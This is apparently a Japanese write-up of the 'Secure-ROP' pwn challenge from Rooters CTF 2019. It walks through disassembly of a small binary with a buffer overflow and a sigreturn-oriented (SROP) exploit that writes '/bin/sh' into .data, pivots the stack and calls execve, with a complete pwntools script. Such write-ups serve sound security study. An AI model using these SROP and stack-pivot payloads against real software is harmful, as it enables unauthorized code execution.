--- tags: pwn --- # Rooters CTF 2019 - \#Secure-ROP これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU 問題のリポジトリ(何故かclone出来なかった): <https://github.com/abs0lut3pwn4g3/RootersCTF2019-challenges> ## Writeup ### Outline 自明なBOFがあるのにまともなROP Gadgetが無い。任意のシステムコールを呼ぶことは出来るのでrt_sigreturnを呼び出し、`read(0, &.data, size)`を呼ぶ。これで.dataセクションに`/bin/sh`とROPチェーンを書き込み、`leave; ret`でstack pivotしてからもう一度SROPして今度は`execve("/bin/sh", null, null)`をシステムコールで呼ぶ ### checksec ``` Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` ### Binary radare2で覗いてみると次のようになっている ``` ;-- rip: ┌ 17: entry0 (); │ 0x00401037 e8c4ffffff call fcn.00401000 │ 0x0040103c b83c000000 mov eax, 0x3c ; '<' ; 60 │ 0x00401041 bf00000000 mov edi, 0 └ 0x00401046 0f05 syscall ``` ``` ; CALL XREF from entry0 @ 0x401037 ;-- section..text: ;-- segment.LOAD1: ┌ 55: fcn.00401000 (); │ 0x00401000 55 push rbp ; [01] -r-x section size 72 named .text │ 0x00401001 4889e5 mov rbp, rsp │ 0x00401004 4883ec40 sub rsp, 0x40 │ 0x00401008 b801000000 mov eax, 1 │ 0x0040100d bf01000000 mov edi, 1 │ 0x00401012 488d34250020. lea rsi, str.Hey__can_i_get_some_feedback_for_the_CTF ; 0x402000 ; "Hey, can i get some feedback for the CTF?\n\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" │ 0x0040101a ba2a000000 mov edx, 0x2a ; '*' ; 42 │ 0x0040101f 0f05 syscall │ 0x00401021 bf00000000 mov edi, 0 │ 0x00401026 488d7424c0 lea rsi, [rsp - 0x40] │ 0x0040102b ba00040000 mov edx, 0x400 ; 1024 │ 0x00401030 6a00 push 0 │ 0x00401032 58 pop rax │ 0x00401033 0f05 syscall │ 0x00401035 c9 leave └ 0x00401036 c3 ret ``` だいたい[前問](https://hackmd.io/@Xornet/BJi8X6slD)と同じで`read(0, buf, 0x400)`をしている。`buf`の位置からrbpまで0x80ある一方で0x400バイト書き込めることからBOFが存在する。 rabin2にかけるとこんな感じ ``` $ rabin2 -sSz [Sections] nth paddr size vaddr vsize perm name ―――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000000 0x0 0x00000000 0x0 ---- 1 0x00001000 0x48 0x00401000 0x48 -r-x .text 2 0x00002000 0x2a 0x00402000 0x2a -rw- .data 3 0x0000202a 0x17 0x00000000 0x17 ---- .shstrtab [Symbols] nth paddr vaddr bind type size lib name ――――――――――――――――――――――――――――――――――――――― [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00002000 0x00402000 42 42 .data ascii Hey, can i get some feedback for the CTF?\n ``` `/bin/sh`は無いので前問のように1回のrt_sigreturnシステムコールでシェルを起動するのは出来ない。まずはシェルを起動するために`/bin/sh`を.dataセクションに書き込むことを考える ## `/bin/sh`の書き込み 今回も`pop rax; syscall`が存在するのでBOFでこれをリターンアドレスに置いてrt_sigreturnシステムコールを呼ぶ。ここで呼ぶのはread(番号: 0)で`read(0, &.data, size)`とすれば.dataセクションの先頭から`size`バイト分だけ書き込む事ができる。ここでまずは`/bin/sh`を書き込む ## stack pivot シェル起動用の文字列を書き込むだけで終わりではない。使ったgadgetをよく見ると`pop rax; syscall; leave; ret`となっている。 leave命令は`mov rsp, rbp; pop rbp`を実行することからsigreturnでrbpに上手く値を入れておけば次のスタックトップを指定できそうである。そして`ret`するのでここで再びsigreturnでシステムコールを呼ぶようにしておけば今度こそexecveを使ってシェルを起動出来そうである というわけでBOFを利用する際の書き込みは次のようなレジスタになるようにする ``` rax: 0 // read(0, &.data, size) rdi: 0 rsi: &.data rdx: size // 余裕を持って0x400ぐらいにしておいた rip: &syscall; leave; ret rbp: .data // ripにleaveを仕込んだので&.data + 0x8がstack topになってretする ``` これでreadがシステムコールで呼ばれることからもう1度入力が出来る。 .dataセクションの先頭から次のように書き込むことで`/bin/sh`を書きながらstack pivot後にROPで再びシステムコールを呼べるようにする ``` .data : "/bin/sh\x00" // leave(mov rsp, rbp; pop rbp)でrspはここに来て、rbpにpopする .data + 0x08 : &pop rax; syscall // retでpop rax; syscallへ飛ぶ .data + 0x10 : 0xf .data + 0x18 : (values...) ``` `values`の部分はrt_sigreturnシステムコールで次のようなレジスタになるようにする ``` rax: 59 rdi: &.data // /bin/shが入っている rsi: 0 rdx: 0 rip: &syscall ``` これで`execve("/bin/sh", null, null)`が呼ばれることになる ## Code ```python from pwn import p64, u64, ELF, process, remote, SigreturnFrame, context if __name__ == "__main__": elf = ELF("vuln") context.binary = elf data_start = 0x402000 gadgets = { "syscall": 0x401046, "syscall_leave_ret": 0x401033, "pop_rax_syscall_leave_ret": 0x401032 } s = process(elf.path) # s = remote("", None) # _ = input("[+] debug\n") junk = b"a" * 0x88 payload = junk payload += p64(gadgets["pop_rax_syscall_leave_ret"]) payload += p64(0xf) # stack pivot size = 0x400 frame = SigreturnFrame() frame["rax"] = 0 # read(0, data_start, size) frame["rdi"] = 0 frame["rsi"] = data_start frame["rdx"] = size frame["rbp"] = data_start # when leave executed, moved to rsp frame["rip"] = gadgets["syscall_leave_ret"] payload += bytes(frame) s.send(payload) # write /bin/sh to .data section payload = b"/bin/sh\x00" payload += p64(gadgets["pop_rax_syscall_leave_ret"]) payload += p64(0xf) frame = SigreturnFrame() frame["rax"] = 59 # execve("/bin/sh", null, null) frame["rdi"] = data_start frame["rsi"] = 0 frame["rdx"] = 0 frame["rip"] = gadgets["syscall"] payload += bytes(frame) s.send(payload) s.interactive() ``` ## Flag ローカルシェル取り太郎先輩 ## 感想 SROP第2段ということで解きました。同じ分野でも2回は解いておきたいので2問解きましたがstack pivotが要求されるこちらの方がやや複雑でした。 これでまた次のpwnネタが発生するまでしばらくサボります、Heapはクソムズい問題しか残ってなくて新しいネタもあんまり見つけて無くて辛いです